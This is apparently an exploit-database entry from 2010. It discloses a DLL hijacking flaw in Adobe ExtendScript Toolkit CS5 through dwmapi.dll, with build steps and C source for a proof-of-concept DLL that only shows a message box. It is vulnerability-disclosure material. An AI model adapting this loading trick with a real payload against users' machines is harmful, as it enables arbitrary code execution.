Adobe ExtendedScript Toolkit CS5 v3.5.0.52 DLL Hijacking (dwmapi.dll)

2010-08-25T00:00:00
ID 1337DAY-ID-13854
Type zdt
Reporter LiquidWorm
Modified 2010-08-25T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
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Adobe ExtendedScript Toolkit CS5 v3.5.0.52 DLL Hijacking (dwmapi.dll)
=====================================================================

/*
 
 Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit
 
 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37
 
 Summary: The ExtendScript Toolkit (ESTK) 3.5.0 is a scripting utility
 included with Adobe® Creative Suite CS5 and other Adobe applications.
 The ESTK is used for creating, editing, and debugging JavaScript to be
 used for scripting Adobe applications.
 
 Desc: Adobe ExtendScript Toolkit CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .jsx thru dwmapi.dll library.
 
 ----
 gcc -shared -o dwmapi.dll adobeest.c
 
 Compile and rename to dwmapi.dll, create a file test.jsx and put both files
 in same dir and execute.
 ----
 
 Tested on Microsoft Windows XP Professional SP3 (EN)
 
 
 
 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 
 Zero Science Lab - http://www.zeroscience.mk
 
 
 25.08.2010
 
*/
 
 
#include <windows.h>
 
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        dll_mll();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
 
    return TRUE;
}
 
int dll_mll()
{
    MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}



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